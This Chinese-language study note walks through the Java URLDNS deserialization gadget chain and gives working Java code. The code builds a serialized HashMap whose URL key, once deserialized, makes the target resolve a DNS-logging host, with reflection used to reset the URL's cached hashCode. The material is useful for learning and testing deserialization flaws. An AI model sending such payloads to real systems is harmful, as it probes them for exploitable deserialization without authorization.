URLDNS
HashMap重写了readObject函数,里面调用的putVal调用了hash函数

Hash函数会调用键对象的hashcode方法

从而可以利用传入url对象去触发url.hashcode方法,url.hashcode里面会触发urlstreamheader.hashcode,里面有个getHostAddress函数,会发出dns请求

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.urldns;
import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; import java.net.URLStreamHandler;
public class test { public static void main(String[] args) throws MalformedURLException { HashMap<URL,Integer> hashmap=new HashMap<>(); URL url= new URL("http://7n8m94.dnslog.cn"); hashmap.put(url,1); } }
|
这里还没开始触发反序列化就收到了dns请求

发现url.hashcode的值为-1才会触发hashcode方法,而hashcode默认的初始值是-1


然后经过urlstreamheader.hashcode的一顿运算,导致hashcode不再等于-1,在反序列化的时候就无法触发了,所以现在考虑在put的时候让hashcode不为-1,put过后让其等于-1,利用反射机制来实现

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.fearless.test01;
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class test { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL,Integer> hashmap=new HashMap<>(); URL url=new URL("http://aef4f49dce.ddns.1433.eu.org."); Class c=url.getClass(); Field hashcodefield=c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashmap.put(url,1); hashcodefield.set(url,-1); serialize(hashmap); }
} package com.fearless.test01;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectInputStream;
public class un { public static Object unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException { ObjectInput ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { unserialize("ser.bin"); }
}
|
最后反序列化成功
链子:
整理一下链条:
HashMap.readobject->hashmap.hash->url.hashcode(调用key.hashcode)->urlstreamheader.hashcode->getHostAddress
最后发出dns请求
需要注意的是url的hashcode只有在值为-1的时候才能触发后续链条,但其初始值是-1,经过运算后不为-1,所以需要利用反射在put之前设为不为-1,然后put之后设置成-1。